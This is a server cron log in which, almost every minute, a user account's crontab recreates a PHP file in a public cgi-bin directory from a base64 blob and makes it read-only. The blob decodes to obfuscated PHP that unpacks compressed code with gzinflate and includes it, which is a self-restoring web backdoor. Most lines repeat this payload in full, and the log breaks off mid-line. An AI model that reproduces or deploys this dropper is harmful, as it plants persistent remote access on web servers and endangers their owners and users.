Apr 12 15:18:01 server CROND[14101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:19:01 server CROND[14170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:20:01 server CROND[14226]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 15:20:01 server CROND[14227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:20:01 server CROND[14228]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:20:01 server CROND[14229]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 15:20:01 server CROND[14230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:21:01 server CROND[14340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:22:01 server CROND[14529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:23:01 server CROND[14578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:24:01 server CROND[14626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:25:01 server CROND[14677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:25:01 server CROND[14678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:25:01 server CROND[14679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:26:01 server CROND[14783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:27:01 server CROND[14938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:27:01 server CROND[14939]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 15:28:01 server CROND[15000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:29:01 server CROND[15050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:30:01 server CROND[15111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:30:01 server CROND[15113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 15:30:01 server CROND[15112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:30:01 server CROND[15115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:31:01 server CROND[15234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uo